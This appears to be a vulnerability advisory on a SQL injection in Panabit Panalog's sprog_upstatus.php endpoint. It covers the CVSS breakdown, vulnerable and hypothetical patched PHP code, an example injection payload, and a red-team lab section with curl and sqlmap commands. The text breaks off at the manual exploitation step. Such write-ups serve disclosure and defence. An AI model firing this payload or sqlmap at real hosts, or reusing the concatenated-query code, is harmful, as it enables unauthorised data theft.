CVE-2024-2014

Executive Summary

CVE-2024-2014 is a critical SQL injection vulnerability in Panabit Panalog, specifically in the /Maintain/sprog_upstatus.php endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary SQL commands via the id parameter, leading to potential data exfiltration, modification, or complete system compromise. The vendor has not responded to disclosure attempts, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in Panabit Panalog.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the /Maintain/sprog_upstatus.php script. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by manipulating the id parameter, for example:

GET /Maintain/sprog_upstatus.php?id=1' OR '1'='1' -- -

This would result in a query like:

SELECT * FROM upstatus WHERE id = '1' OR '1'='1' -- -'

The injection point is in a WHERE clause, allowing the attacker to bypass authentication, extract data, or execute arbitrary SQL commands. The application likely uses MySQL or MariaDB, and the attacker can leverage stacked queries or UNION-based injection to retrieve sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (sprog_upstatus.php):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM upstatus WHERE id = '$id'";
$result = mysqli_query($conn, $query);
// ...
?>

Patched Code (hypothetical):

<?php
$id = intval($_GET['id']);
$query = "SELECT * FROM upstatus WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// ...
?>

The patched version uses prepared statements and type casting to prevent SQL injection.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable Panabit Panalog instance (version 202103080942) in an isolated lab environment.
2. Reconnaissance: Identify the target endpoint:

   curl -s http://target/Maintain/sprog_upstatus.php?id=1
   

3. Exploitation: Use SQLMap for automated exploitation:

   sqlmap -u "http://target/Maintain/sprog_upstatus.php?id=1" --batch --dbs
   

4. Manual Exploitation: Inject to extract data:
